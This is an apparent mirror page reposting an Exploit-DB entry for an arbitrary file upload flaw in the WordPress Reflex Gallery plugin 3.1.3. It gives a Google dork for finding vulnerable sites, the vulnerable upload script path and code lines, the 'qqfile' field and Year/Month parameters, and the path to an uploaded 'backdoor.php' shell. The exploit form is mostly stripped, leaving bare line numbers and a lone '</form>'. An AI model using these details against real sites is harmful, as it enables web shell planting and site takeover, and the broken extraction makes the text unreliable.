WordPress Plugin Reflex Gallery 3.1.3 – Arbitrary File Upload - 体验盒子

作者： CrashBandicot

日期： 2015-03-08

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/36374/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

# Exploit Title: WordPress Plugin Reflex Gallery - Arbitrary File Upload

# Google Dork: inurl:wp-content/plugins/reflex-gallery/

# Date: 08.03.2015

# Exploit Author: CrashBandicot @DosPerl

# Vendor Homepage: https://wordpress.org/plugins/reflex-gallery/

# Software Link: https://downloads.wordpress.org/plugin/reflex-gallery.zip

# Version: 3.1.3 (Last)

# Tested on: Windows

# p0C : http://i.imgur.com/mj8yADU.png

# Path : wp-content/plugins/reflex-gallery/admin/scripts/FileUploader/php.php

# add Month and Year in GET for Folder of Shell ./wp-content/uploads/" .$_GET['Year'].'/'.$_GET['Month']. "

Vulnerable File : php.php

50.if(!move_uploaded_file($_FILES['qqfile']['tmp_name'], $path)){

173. $result = $uploader->handleUpload('../../../../../uploads/'.$_GET['Year'].'/'.$_GET['Month'].'/');

# Exploit :

</form>

# Shell Path : http://127.0.0.1:1337/wordpress/wp-content/uploads/2015/03/backdoor.php